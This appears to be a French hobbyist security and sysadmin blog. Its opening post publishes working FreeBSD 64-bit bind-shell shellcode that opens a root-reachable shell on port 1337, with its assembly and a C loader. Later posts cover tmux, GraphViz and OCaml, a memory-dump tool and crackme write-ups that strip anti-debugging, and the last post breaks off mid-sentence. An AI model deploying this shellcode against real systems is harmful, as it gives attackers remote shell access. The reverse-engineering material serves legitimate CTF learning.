Bind sh on freebsd 64 bits
J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).
Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :
% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30 AUE_ACCEPT STD { int accept(int s, \
59 AUE_EXECVE STD { int execve(char *fname, char **argv, \
90 AUE_DUP2 STD { int dup2(u_int from, u_int to); }
97 AUE_SOCKET STD { int socket(int domain, int type, \
104 AUE_BIND STD { int bind(int s, caddr_t name, \
106 AUE_LISTEN STD { int listen(int s, int backlog); }
Code :
# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall
# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall
# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall
# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall
# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall
# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp
pop %rdi
push %rdx
push %rdi
push %rsp
pop %rsi
syscall
Pour le compiler :
as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o
Le shellcode en lui même :
int main() { const char *shcode = "\x6a\x61\x58\x6a" "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f" "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02" "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a" "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f" "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e" "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58" "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a" "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a" "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52" "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf("Size = %d\n",strlen(shcode)); (*(void (*)()) shcode)(); }
Test :
% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103
Dans un autre terminal :
% sockstat -4 | grep bind_sh
w4kfu bind_sh 12151 3 tcp4 *:1337 *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c
Having fun with dot
Présentation
GraphViz est une application permettant de représenter graphiquement des graphes. Elle a été conçu par une équipe des laboratoires de recherches de AT&T. Elle est entièrement paramétrable, personalisation des formes, couleurs, polices de caractères ... Elle suppporte aussi beaucoup de formats de sortie : gif, jpg, png ... Afin d'en montrer la puissance et la simplicité du format en entrée : fichier .dot, je me suis amusé à écrire un script bash qui crée un graph de toute la hiérarchie des processus à l'aide de la commande ps. Ici j'utilise le générateur Dot qui je pense est le plus approprié pour le résultat souhaité.
Code
#!/bin/sh if [ $# -ne 1 ] then echo "Usage : $0 <type>" else if [ $1 != "PID" ] && [ $1 != "NAME" ] && [ $1 != "PID_NAME" ] then echo "type : - PID = Create graph with the pid of the different process" echo " - NAME = Create graph with the name of the different process" echo " - PID_NAME = Create graph with the name & pid of the different process" else if test -f ps_graph.dot then rm ps_graph.dot fi echo "digraph G{node [color=lightblue1, style=filled];" > ps_graph.dot ps -axo pid,ppid,command | tail -n +2| while read ligne; do PID=`echo $ligne | cut -d " " -f1` PPID=`echo $ligne | cut -d " " -f2` if [ $1 = "PID" ] then out="${PPID} -> ${PID};" else NAME=`echo $ligne | cut -d " " -f3` OLDNAME=`ps -p $PPID -o command | tail -n +2 | cut -d " " -f1` if [ $1 = "NAME" ] then out="\"${OLDNAME}\" -> \"${NAME}\";" else out="\"$PPID::${OLDNAME}\" -> \"$PID::${NAME}\";" fi fi echo $out >> ps_graph.dot done echo "}" >> ps_graph.dot dot ps_graph.dot -Tpng -o ps_graph.png fi fi
Résultat
Voir l'image en grand.
Communication Ocaml et C
Ce billet a pour but de montrer comment récupérer un tableau alloué dynamiquement en Ocaml dans un programme écrit en C. En regardant la doc de l'INRIA sur l'interfaçage entre du C et du Ocaml, on ne retrouvait des exemples qu'avec des types (Int, Char, String, ...) mais pour ma part, il fallait que je passe du type Char Array Array (Ocaml) à char ** (C). C'est en regardant du côté du module BigArray, que l'on peut voir qu'il existe un module Bigarray.Array2 permettant la manipulation des tableaux à 2 dimensions facilement.
Les BigArray peuvemt manipuler du type Char :
val char : (char, int8_unsigned_elt) kind
Et un layout permettant l'interportabilité avec le C :
type c_layout
A partir de tous ces éléments j'étais en mesure d'écrire un programme de test :
Code Ocaml :
(* Function just for Allocating our 2D table *) let create_tab n m init = let tab = Array.make n (Array.make m init) in for i = 1 to n - 1 do tab.(i) <- Array.make m init done; tab (* Function for creating the table and returning it *) let create_tab () = Random.self_init(); let tab = create_tab 20 30 'X' in init_tab tab; Bigarray.Array2.of_array Bigarray.char Bigarray.c_layout tab (* Export "create_tab" function to C *) let _ = Callback.register "create_tab callback" create_tab
Code C :
#include <stdio.h> #include <stdlib.h> #include <caml/mlvalues.h> #include <caml/callback.h> #include <caml/bigarray.h> /* I return my Char array array allocated in ocaml like this Bigarray.Array2.of_array Bigarray.char Bigarray.c_layout tab */ int test() { /* 2d table */ char **tab; /* simpli value for counting */ int i,j,k=0; /* Widht , height */ int w,h; /* pointer to data part */ char *p; /* pointer to the value registered under a name */ static value *f = NULL; f = caml_named_value("create_tab callback"); /* Applies the functional value f and return the value returned by f */ value ret = caml_callback(*f,Val_unit); /* i-th dimension Get the Width & Height */ w = Bigarray_val(ret)->dim[0]; h = Bigarray_val(ret)->dim[1]; /* We look is everything ok ? */ printf("\nw = %d\n",w); printf("\nh = %d\n",h); /* Get a pointer to the data part of the array */ p = Data_bigarray_val(ret); /* Ok now we alloc enough place */ tab = (char**)malloc(sizeof(char*)*w); if(!tab) return 1; for(i=0;i<w;i++) { tab[i] = (char*)malloc(sizeof(char)*h); if(!tab) return 1; } /* Here we copy everyhting in a table of 2 dimension More easier to manipulate it no ? */ for(i=0;i<w;i++) for(j=0;j<h;j++) { tab[i][j] = p[k]; k++; } /* And now we watch if everything is ok */ for(i=0;i<w;i++) { for(j=0;j<h;j++) printf("%c | ",tab[i][j]); printf("\n"); } } int main(int argc,char **argv) { caml_startup(argv); test(); return 0; }
Vous êtes en mesure maitenant de faire communiquer vos programmes Ocaml avec des programmes en C tout en manipulant des tableaux à X dimensions. X dimensions, Oui, car si vous lisez bien les pages du manuel que je vous ai linké, vous verrez que cela est possible.
Zsh Navigator Stat
Présentation
Séparément du coeur de zsh, il existe des modules que l'on peut charger, ici j'ai utilisé le module ncurses qui permet de créer une interface utilisateur, indépendante du terminal.
Zsh Navigator Stat est un simple script permettant de faire des statistiques sur les différents navigateurs qui viennent polluer les logs de votre serveur Web.
Code
#!/usr/bin/env zsh zmodload zsh/curses integer y integer length title="Zsh Navigator Stat" length=$COLUMNS/2 init() { zcurses addwin main $(( $LINES - 2 )) $(( $COLUMNS - 2 )) 1 1 zcurses move main 1 $(( ($COLUMNS - 2 - $#title) / 2 )) zcurses string main $title y=4 } clean() { for win ($zcurses_windows); do [[ -z ${win:#(main|stdscr)} ]] && continue zcurses delwin $win done zcurses delwin main zcurses clear stdscr } Exit() { clean zcurses end exit } more() { zcurses move main $(($y+1)) 17 zcurses refresh main zcurses addwin record 1 17 $(($y+2)) 6 main zcurses attr record green/red bold zcurses string record "- - More - -" zcurses refresh record while [[ -z $REPLY ]] && [[ -z $key ]]; do zcurses input main REPLY key done case $REPLY in (q) Exit ;; esac key= REPLY= } print_stat() { for line in $(awk '!($1 in wtf) {print $12}' access.log | uniq | sort | uniq -c | sort -rn | sed 's/\"/,/' | awk '{print $1$2}'); do zcurses move main $y 5 line=(${(s:,:)line}) [ ${#line[2]} -le 2 ] && continue line[2]=$(echo $line[2] | sed 's/[;\"]/ /' ) zcurses string main $line[2] zcurses move main $y 60 zcurses string main "[${(r:$length::-:)${(l:$(( $line[1] / 1))::=:)"="}}] ($line[1])" y+=1 if (( $(($y+4)) >= ($LINES) )); then more clean init fi zcurses refresh main done } zcurses init init print_stat Exit
Résultat
Bugs
Afin que le résultat soit un minimum joli la largeur du terminal doit être au minimum de 150 pixels. Pourquoi ? car comme vous pouvez le constater sur l'image ci-dessus quand des b0ts à la #$% viennent scanner votre site, ils ont des noms à rallonge.
This is Tmux !
Présentation
Dans un billet précédent, je montrais une tricks sous tmux sans même l'avoir présenté. Je vais remédier à ça.
Tmux est un multiplexeur de terminal, celà permet d'accéder et contrôler plusieurs terminaux à partir d'un seul terminal. Tmux est destiné à être une alternative simple, moderne sous license BSD à des programmes comme GNU Screen.
Tmux apporte certains avantages par rapport à screen :
- Un modèle client-serveur bien défini : Les fenêtres sont des entités indépendantes qui peuvent être attachées simultanément à plusieurs sessions et vu de multiples clients ( terminaux ), ainsi qu'une circulation libre et simple entre les sessions dans le même serveur tmux.
- Facilement scriptable.
- Plusieurs tampons pour copier/coller.
- Choix de emacs / vi comme dispositon de combinaisons ( touches ).
Tmux à la différence de screen peut splitter verticalement, sans avoir recours à une recompilation après application d'un patch.
Dans tmux, on utilise par defaut le préfixe Ctrl-b et non Ctrl-a, qui est quand même plus confortable. Tmux est aussi dans le base de Open-BSD ( par ce biais que je l'ai connu ) et bientôt FreeBSD, en attendant il est disponible dans vos ports.
Seul hic que je puisse lui reprocher mais pas bien méchant, on ne peut pas afficher la liste des fenêtres sous forme de menu sélectionnable comme sous screen ( Ctrl-a+" ).
Raccourcis
Un tableau récapitulatif des différentes combinaisons pour tmux et screen :
^ signifie ctrl+, donc ^x c'est ctrl+x. M- signifie alt+, donc M-x c'est alt+x |
||
Action | tmux | screen |
Démarrer une nouvelle session | tmux OUtmux new OUtmux new-session | screen |
Rattacher à une session detaché | tmux attach OUtmux attach-session | screen -r |
Rattacher à une session detaché(Detache toute autre session rattachée) | tmux attach -d OUtmux attach-session -d | screen -dr |
Rattacher à une session detaché (Multiple affichage) | tmux attach OUtmux attach-session | screen -x |
Detacher la session courante | ^b d OU^b :detach | ^a ^d OU^a :detach |
Renomme la fenêtre | ^b , <newname> OU^b :rename-window <newname> | ^a A <newname> |
Lister fenêtres | ^b w | ^a w |
Lister fenêtres dans un menu selectionnable | ^a " | |
Aller à la fenêtre # | ^b # | ^a # |
Aller à la dernière fenêtre active | ^b l | ^a l |
Aller à la fenêtre suivante | ^b n | ^a n |
Aller à la fenêtre précédente | ^b p | ^a p |
Aide | ^b ? | ^a ? |
Lister les sessions | ^b s OUtmux ls OUtmux list-sessions | screen -ls |
Créer un nouveau shell | ^b c | ^a c |
Quitter shell courant | ^d | ^d |
Split horizontal | ^b " | |
Split vertical | ^b % | |
Change de fenêtre | ^b o | |
Ferme la fenêtre actuelle | ^b x OU (logout/^D) | |
Ferme les fenêtres sauf celle active | ^b ! | |
Horloge | ^b t |
Scripting
Dans les fonctionnalitées de Tmux, je parlais de scripting en voici un exemple :
> cat tmux_launch.sh
#!/bin/sh
tmux new-session -d -s terms -n SHELLS
tmux new-window -t terms:1 -n IRC
tmux new-window -t terms:2 -n WEB
tmux new-window -t terms:3 -n MAIL
tmux send-keys -t terms:1 'irssi' C-m
tmux send-keys -t terms:2 'elinks' C-m
tmux send-keys -t terms:3 'mutt' C-m
tmux select-window -t terms:1
tmux attach-session -d -t terms
La première commande va créer une nouvelle session detâchée ( -d ) dont le nom sera "terms" ( -s ), la premièere fenêtre se nommera "SHELLS" ( -n ).
Ensuite cela crée 3 fenêtres dont les noms sont "IRC", "WEB", "MAIL" et où on lancera les programmes associés à chacune d'elle.
On sélectionne pour finir la fenêtre sur laquelle on veut apparaître puis on s'attache à la session.
Configuration
Je vous fais part aussi de mon .tmux.conf à placer dans votre $HOME :
# Status Bar
set-option -g status-bg black
set-option -g status-fg green
set -g status-left-length 30
set -g status-left "%a %d/%m - %R [@#(hostname -s)]"
set -g status-right "#(sysctl -n vm.loadavg)"
setw -g window-status-current-bg red
# Titre Fenetre
set-option -g set-titles on
setw -g automatic-rename on
# BindKeys
bind-key S split-window
bind-key Tab down-pane
bind-key X kill-pane
# Historique
set-option -g history-limit 250
Voilà c'est tout pour l'instant sur Tmux. Je vous invite à lire le manuel si cet article vous donne envie de migrer à tmux.
Un patch strace 64 bits pour FreeBSD
La plupart du temps les challenges en rapport avec la sécurité informatique sont destinés aux systémes d'exploitation GNU/Linux.
Des crackme pour FreeBSD, à part si on se les fait soit même ça n'existe pas. On peut bien sur virtualiser à l'aide de qemu, virtualbox mais il faut l'avouer c'est coûteux.
Mais sous FreeBSD, nous avons linuxulator une couche d'émulation permettant de faire tourner des applis Linuxienne sous notre os à la boule rouge.
On charge le module :
#kldload linux
C'est bien gentil de pouvoir éxécuter, mais on aimerait pouvoir surveiller les différents syscalls de notre application.
Sous FreeBSD, nous avons l'excellent outil truss, ainsi que Dtrace mais lorsque je traçais des binaires, je n'aimais pas l'affichage :
linux_brk(0x0,0x28069fd0,0x8048440,0xafe9fbff,0xbfbfffac,0x6) = 134520832 (0x804a000)
linux_newuname(0xbfbfe4e2,0x2806a284,0x28069fd0,0x2806a648,0x2806a648,0x6) = 0 (0x0)
Le linux à chaque début de ligne me déplaisait, c'est alors que je sors strace mais là c'est le drame strace n'est compatible que pour archi i386.
J'ai donc décidé de me lancer dans l'ecriture d'un patch non-officiel.
Premièrement placez vous dans /usr/ports/devel/strace et commentez dans le fichier Makefile la ligne suivante :
ONLY_FOR_ARCHS= i386
On lance la commande make, histoire que ca fetch comme il faut les fichiers dont on a besoin, mais une fois le processus de configuration lancé ça foire. C'est là que le semblant de patch que j'ai écrit rentre en jeux :
# cd /usr/ports/devel/strace/work
# fetch http://blog.w4kfu.com/public/strace_64bits.patch
# patch -p0 < strace_64bits.patch
Il ne vous restera qu'à relancer un configure puis de make.
# cd strace-4.5.18
# ./configure
# make
Attention ce patch n'a été testé que avec strace version 4.5.18 ! et il n'est surement pas fonctionnel à 100%.
jail nom_jail not found
Lors de l'utilisation de la commande jexec je voulais être capable d'utiliser le nom de ma jail au lieu de faire un jls et passer par son JID.
En lisant le man je vois que cela est possible :
jail [-hi] [-n jailname]
Je teste donc l'option :
# jexec -n nom_jail ps
jexec: jail nom_jail not found
Je vérifie à l'aide de la commande jls pour voir si je me trompe pas dans le nom de la jail. Non.
Bon bah, il reste plus qu'à RTFM ( man jail ) et là on peut voir :
The jail utility creates a new jail or modifies an existing jail, option-ally imprisoning the current process (and future descendants) inside it. The options are as follows: -n jailname Set the jail's name. This is deprecated and is equivalent to setting the name parameter.
Je rajoute donc dans mon rc.conf :
jail_nomjail_flags="-n nomjail"
Je relance la jail... and it works !
Dump me this !@#$%^ binary
Je mets en ligne un programme qui m'est souvent utile lors de wargames blackbox, j'entends par là des binaires où nous n'avons pas les droits de lecture ( les commandes : strings, gdb, objdump et j'en passe, impossibles à exécuter sur le binaire ).
C'est pourquoi j'ai développé ce tool'z fort utile pour dumper la mémoire du binaire et aller voir tranquillement tout ce qui s'y passe à l'intérieur. Je le mets en ligne ça me servira de post-it et peut être utile à d'autres.
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/types.h> #include <sys/ptrace.h> #include <fcntl.h> #include <errno.h> #include <sys/wait.h> int dump(pid_t pid, unsigned long start, unsigned long end); int main(int argc, char **argv) { pid_t son; int status; unsigned long start_address; unsigned long stop_address; if (argc < 4) { printf("[-] %s : Usage <binaire> <start_addr> <end_addr>\n", argv[0]); printf("Example : <start_addr> = 0x0804800 ; <end_addr> = 0x08049b5c\n"); exit(EXIT_FAILURE); } start_address = strtoul(argv[2], NULL, 0); stop_address = strtoul(argv[3], NULL, 0); if (start_address == (unsigned long) - 1 || start_address >= stop_address) { printf("[-] Bad start or stop address\n"); exit(EXIT_FAILURE); } if ((son = fork()) == -1) { perror("[-] fork()"); exit (EXIT_FAILURE); } if (son == 0) { sleep(1); if ( ptrace(PT_TRACE_ME, 0, 0, 0) < 0 ) { perror("[-] ptrace()"); exit(EXIT_FAILURE); } if (execl(argv[1], argv[1], NULL) < 0) { perror("[-] execl()"); exit(EXIT_FAILURE); } } else { wait(&status); if (WIFEXITED(status)) exit(EXIT_FAILURE); if (dump(son, start_address, stop_address) == 1) printf("[-] Dump() failed\n"); ptrace(PT_KILL, son, 0, 0); } return 0; } int dump(pid_t pid, unsigned long start, unsigned long end) { int fd; unsigned long dword; unsigned long i; printf("[+] Dumping ...\n"); if ((fd = open("dump", O_WRONLY|O_CREAT, 0755)) < 0) { perror("[-] open()"); exit(EXIT_FAILURE); } for (i=start; i<end; i+=4) { dword = ptrace(PT_READ_I, pid, (caddr_t)i, 0); if (write(fd, &dword, sizeof(dword)) < 0) { close(fd); return 1; } } close(fd); printf("[+] Dump from 0x%8.8lx to 0x%8.8lx finish !\n", start, end); return 0; }
Exemple d'utilisation sur le binaire test :
> gcc -o dmtfb dump.c
> ./dmtfb test 0x08048000 0x08049b5c
[+] Dumping ...
[+] Dump from 0x08048000 to 0x08049b5c finish !
> strings dump
/libexec/ld-elf.so.1
FreeBSD
_Jv_RegisterClasses
libc.so.7
printf
environ
__progname
_init_tls
atexit
_end
FBSD_1.0
$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $
i = %d
$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $
Write up RMLL crackme level 2
C'est parti pour le level suivant du RMLL.
Première approche :
w4kfu@vm-debian:~/RMLL$ ./mars1
serial : 1234556065906954904560950654
Bad serial :/
On sort gdb pour voir tout ca :
w4kfu@vm-debian:~/RMLL$ gdb ./mars1
(gdb) disas main
....
0x0804888c <main+9>: movl $0xd6eddb56,0x1e(%esp)
0x08048894 <main+17>: movl $0x8086fb8b,0x22(%esp)
0x0804889c <main+25>: movl $0x9e0847d1,0x26(%esp)
0x080488a4 <main+33>: movl $0x638ce745,0x2a(%esp)
0x080488ac <main+41>: movb $0x0,0x2e(%esp)
...
0x080488f2 <main+111>: call 0x804842c <ptrace@plt>
...
0x080489cd <main+330>: call 0x804844c <strlen@plt>
0x080489d2 <main+335>: cmp $0x10,%eax
...
0x08048a76 <main+499>: call 0x8048554 <chiffre>
...
0x08048ac5 <main+578>: call 0x804840c <memcmp@plt>
....
On retrouve les même symptômes que le premier challenge, à la différence du ptrace et du code complètement offusqué. Si on s'amuse à disas la fonction chiffre c'est pas beau à voir.
On va devoir nettoyer tout ça car on peut y voir des trucs qui vont bien nous ennuyer :
0x0804857e <chiffre+42>: rdtsc
0x0804859e <chiffre+74>: (bad)
0x080485a0 <chiffre+76>: leave
0x080485a3 <chiffre+79>: sub %ecx,%eax
0x080485a5 <chiffre+81>: cmp $0x3000,%eax
0x080485aa <chiffre+86>: ja 0x80485aa <chiffre+86>
J'ai donc écrit le code suivant pour enlever toutes ces cochonneries :
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> void look_pattern(int fd); void replace_pattern(int fd, off_t offset, int nb); int main(void) { int fd; if ( (fd = open("./copy_mars1", O_RDWR) ) == -1 ) perror("open()"); look_pattern(fd); close(fd); return 0; } void look_pattern(int fd) { off_t offset = 0x554; off_t offset_end = 0x87b; char pattern[7]; while ( offset < offset_end) { if (read(fd, pattern, 7) <= 0) perror("read()"); if ( pattern[0] == 0x77 ) replace_pattern(fd, offset, 2); else if ( pattern[0] == 0xc9 ) replace_pattern(fd, offset, 1); else if ( pattern[0] == 0xf1 ) replace_pattern(fd, offset, 1); else if (!strncmp(pattern, "\xdb\xe6", 2)) replace_pattern(fd, offset, 2); else if (!strncmp(pattern, "\x0f\x31", 2)) replace_pattern(fd, offset, 2); else if(!memcmp(pattern, (void*)"\x2b\xc1\x3d\x00", 4)) replace_pattern(fd, offset, 9); offset++; lseek(fd, offset, SEEK_SET); } } void replace_pattern(int fd, off_t offset, int nb) { int i = 0; lseek(fd, offset,SEEK_SET); for ( i = 0 ; i < nb ; i++) if ( write(fd, "\x90", 1) == -1) perror("write()"); }
Il faut aussi s'occuper du ptrace, voici le code du wrapper de ptrace :
int ptrace(int a, int b, int c, int d) { return 0; }
Pour le compiler et l'utiliser au sein de gdb :
>gcc -shared my_ptrace.c -o ptrace.so
(gdb) set environment LD_PRELOAD ./ptrace.so
Mais malheureusement, ça n'a pas suffit, ca m'a nettoyé un peu le disas.. Alors j'ai décidé de m'écrire un script gdb pour tracer TOUT ce que fait la fonction chiffre :
w4kfu@vm-debian:~$ cat .gdbinit
define test
x/i $eip
ni
if ( $eip != 0x08048a7b)
test
Ce script affiche le code exécuté par mon processeur puis fait un next instruction. Tout ça jusqu'à arriver à l'eip 0x08048a7b ( quand on sort de la fonction chiffre ). Je pose donc un breakpoint, j'active les logs et je bourrine ma touche "ENTREE".
(gdb) set environment LD_PRELOAD ./ptrace.so
(gdb) b* chiffre
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/w4kfu/RMLL/copy_mars1
serial : 1234567890123456
Breakpoint 1, 0x08048554 in chiffre ()
(gdb) set logging file mars1_disas
(gdb) set logging on
Copying output to mars1_disas.
(gdb) test
....
BOURRINAGE TOUCHE ENTREE \o/
....
(gdb) set logging off
Bon par contre y'a 500 trucs qui se répètent et des lignes useless, bon bah on sort notre couteau suisse :
sed "/(gdb)/d" mars1_disas > mars1_disas2
cat mars1_disas2 | sort | uniq > real_disas
On arrive au résultat suivant : mars1_disas. On retranscrit le tout en C :
#include <stdio.h> int main(void) { unsigned char in_fct[16] = "\x06\x7f\x92\x55\xea\x97\x0e\x4a\x22\x21\x07\xc7\x7f\x65\x9c\x93"; unsigned char input[16] = "1234567890123456"; unsigned int ebp_14; unsigned int ebp_c; unsigned int eax; unsigned int ecx; unsigned int edx; unsigned char wtf[2]; ebp_14 = 0; while ( ebp_14 <= 0xf ) { ebp_c = 0; while ( ebp_c <= ebp_14 ) { input[ebp_14] = in_fct[ebp_c] ^ input[ebp_14]; edx = input[ebp_14] << ( ebp_14 & 0x7 ); wtf[0] = edx; eax = ebp_14 & 0x7; ecx = 0x8 - eax; edx = input[ebp_14] >> ecx; wtf[1] = edx; input[ebp_14] = wtf[1] | wtf[0]; ebp_c++; } printf("%x\n",input[ebp_14]); ebp_14++; } return 0; }
Dans le code ci-dessus, j'ai déclaré les noms de façon assez explicite histoire de pas me tromper dans ce que je faisais. Maitenant qu'on sait comment fonctionne la fonction chiffre, j'ai "bruteforcé" le tout étant donné que l'on a les 16 octets auxquels on doit arriver :
void bruteforce(void) { unsigned char a; unsigned char b; unsigned char in_fct[16] = "\x06\x7f\x92\x55\xea\x97\x0e\x4a\x22\x21\x07\xc7\x7f\x65\x9c\x93"; unsigned char input[17] = {0}; unsigned char result[16] = "\x56\xdb\xed\xd6\x8b\xfb\x86\x80\xd1\x47\x08\x9e\x45\xe7\x8c\x63"; unsigned int ebp_14; unsigned int ebp_c; unsigned int eax; unsigned int ecx; unsigned int edx; unsigned char wtf[2]; ebp_14 = 0; while ( ebp_14 <= 0xf ) { a = '\x00'; while ( b != result[ebp_14]) { a += 1; b = a; ebp_c = 0; while ( ebp_c <= ebp_14 ) { b = in_fct[ebp_c] ^ b; edx = b << ( ebp_14 & 0x7 ); wtf[0] = edx; eax = ebp_14 & 0x7; ecx = 0x8 - eax; edx = b >> ecx; wtf[1] = edx; b = wtf[1] | wtf[0]; ebp_c++; } } input[ebp_14] = a; ebp_14++; } printf(" input = %s\n", input); }
On teste tout ça :
w4kfu@vm-debian:~/RMLL$ gcc -o reverse reverse.c
w4kfu@vm-debian:~/RMLL$ ./reverse
input = POGddyrbtjYIoXfv
w4kfu@vm-debian:~/RMLL$ ./mars1
serial : POGddyrbtjYIoXfv
Good job !
Use your serial as password for the next level !
Voilà c'est fini! Je n'ai pas le level 3 :(, si quelqu'un passe sur le blog et l'a disponible je suis intéressé car une fois le level2 résolu la machine était down.
Write up RMLL crackme level 1
Ce billet aurait dû sortir il y a une semaine mais le week-end dernier se déroulait le smpCTF auquel j'ai participeéau sein de l'équipe BiG-DadDy ( arrivée 12ème ) ou avec dad nous nous sommes occupés surtout des épreuves p0wnMe, bref maintenant j'ai le temps donc je le consacre à faire ce write up.
Du 6 au 11 Juillet 2010, à Bordeaux se déroulait les Rencontres Mondiales du Logiciel Libre. Je fais actuellement un stage dans la boite XXXX et mon maître de stage se rendait sur place ( je n'ai pas eu la chance de l'accompagner :( ). Bref, dès son premier jour d'arrivée il m'envoie un e-mail avec ce lien.
Quoi des challenges de sécurité !?! Je me précipite sur les crackme.
Première approche :
w4kfu@vm-debian:~/RMLL$ ./mars0
serial : 34534343423432403245-450-435-043-50435
Nice try ! But ... no ...
Allez hop on sort gdb :
w4kfu@vm-debian:~/RMLL$ gdb ./mars0
...
(gdb) disas main
....
0x0804855b <main+9>: movl $0xc49c6547,0x1e(%esp)
0x08048563 <main+17>: movl $0xee987f5e,0x22(%esp)
0x0804856b <main+25>: movl $0x4cced336,0x26(%esp)
0x08048573 <main+33>: movl $0xee7c11e4,0x2a(%esp)
.....
0x080485a9 <main+87>: call 0x80483e4 <strlen@plt>
0x080485ae <main+92>: cmp $0x10,%eax
....
0x080485d2 <main+128>: call 0x80484f4 <chiffre>
....
0x080485ee <main+156>: call 0x80483b4 <memcmp@plt>
0x080485f3 <main+161>: test %eax,%eax
0x080485f5 <main+163>: jne 0x804860a <main+184>
....
Déjà ici on peut commencer à comprendre un peu le fonctionnement de notre crackme :
- 16 octets qui sont placés à la suite dans la stack.
- Notre serial doit être d'une longueur de 16 ( 0x10 ) caractères.
- Une fonction chiffre.
- Le test se fait à partir d'un memcmp().
Posons un breakpoint sur le memcmp() :
(gdb) b* main+156
Breakpoint 1 at 0x80485ee
(gdb) r
Starting program: /home/w4kfu/RMLL/mars0
serial : 1234567890123456
Breakpoint 1, 0x080485ee in main ()
(gdb) x/4x $esp
0xbfffecc0: 0xbfffecef 0xbfffecde 0x00000010 0x080483a0
(gdb) x/4x 0xbfffecef
0xbfffecef: 0xb5dd0032 0x85f83d00 0x3ca1842f 0xca5e21a6 <<< Notre SERIAL
(gdb) x/4x 0xbfffecde
0xbfffecde: 0xc49c6547 0xee987f5e 0x4cced336 0xee7c11e4 <<< Ce a quoi il est comparee
Regardons maitenant du côté de la fonction chiffre :
(gdb) disas chiffre
0x080484f5 <chiffre+1>: mov %esp,%ebp
0x080484f7 <chiffre+3>: sub $0x20,%esp
0x080484fa <chiffre+6>: movl $0x82e83303,-0x15(%ebp)
0x08048501 <chiffre+13>: movl $0xbac50639,-0x11(%ebp)
0x08048508 <chiffre+20>: movl $0x19abd6e,-0xd(%ebp)
0x0804850f <chiffre+27>: movl $0x8f1d6099,-0x9(%ebp)
0x08048516 <chiffre+34>: movb $0x0,-0x5(%ebp)
0x0804851a <chiffre+38>: movl $0x0,-0x4(%ebp)
0x08048521 <chiffre+45>: jmp 0x804854a <chiffre+86>
0x08048523 <chiffre+47>: mov -0x4(%ebp),%eax
0x08048526 <chiffre+50>: add 0x8(%ebp),%eax
0x08048529 <chiffre+53>: mov -0x4(%ebp),%edx
0x0804852c <chiffre+56>: add 0x8(%ebp),%edx
0x0804852f <chiffre+59>: movzbl (%edx),%ecx
0x08048532 <chiffre+62>: mov -0x4(%ebp),%edx
0x08048535 <chiffre+65>: lea (%ecx,%edx,1),%edx
0x08048538 <chiffre+68>: mov %edx,%ecx
0x0804853a <chiffre+70>: mov -0x4(%ebp),%edx
0x0804853d <chiffre+73>: movzbl -0x15(%ebp,%edx,1),%edx
0x08048542 <chiffre+78>: xor %ecx,%edx
0x08048544 <chiffre+80>: mov %dl,(%eax)
0x08048546 <chiffre+82>: addl $0x1,-0x4(%ebp)
0x0804854a <chiffre+86>: cmpl $0xf,-0x4(%ebp)
0x0804854e <chiffre+90>: jle 0x8048523 <chiffre+47>
0x08048550 <chiffre+92>: leave
0x08048551 <chiffre+93>: ret
Le disas ci-dessus peut être traduit de la sorte en C :
#include <stdio.h> char *chiffre(char *cherche, char *sec); int main(void) { int i; char *mot_chercher = "1234567890123456"; char *second_word = "\x03\x33\xe8\x82\x39\x06\xc5\xba\x6e\xbd\x9a\x01\x99\x60\x1d\x8f"; char *mot_crypt; mot_crypt = chiffre(mot_chercher,second_word); for ( i = 0 ; i < 16 ; i++) printf("%x ",mot_crypt[i]); return 0; } char * chiffre(char *cherche, char *sec) { int i = 0; static char found[16]; for ( i = 0; i < 16; i++) found[i] = (cherche[i] + i)^ sec[i]; return found; }
On teste pour voir si on retrouve bien le même résultat :
w4kfu@vm-debian:~/RMLL/mars$ gcc -o mars0 mars0.c
w4kfu@vm-debian:~/RMLL/mars$ ./mars0
32 0 dd b5 0 3d f8 85 2f 84 a1 3c a6 21 5e ca
Notre code est correct, bien maintenant il faut retrouver le serial valide, ce n'est pas très compliqué car nous savons à quoi il doit être égal. Nous n'avons qu'à faire l'opération inverse :
